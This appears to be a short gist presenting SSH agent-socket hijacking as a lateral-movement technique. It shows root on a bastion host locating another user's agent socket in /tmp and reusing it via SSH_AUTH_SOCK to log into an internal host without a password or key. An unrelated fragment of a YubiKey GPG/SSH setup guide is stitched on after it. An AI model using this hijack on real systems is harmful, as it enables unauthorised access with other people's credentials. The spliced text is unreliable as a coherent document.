int0x80 / SSH Agent Forwarding.md
Created January 7, 2021 00:59

Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh user@internal.company.tld

user@internal:~$ hostname -f
internal.company.tld

YubiKey 4 series GPG and SSH setup guide


Written for fairly adept technical users, preferably of Debian GNU/Linux, not for absolute beginners.








You'll probably be working with a single smartcard, so you'll want only one primary key (1. Sign & Certify) and two associated subkeys (2. Encrypt, 3. Authenticate). I've published a Bash function which automates this slightly special key generation process.
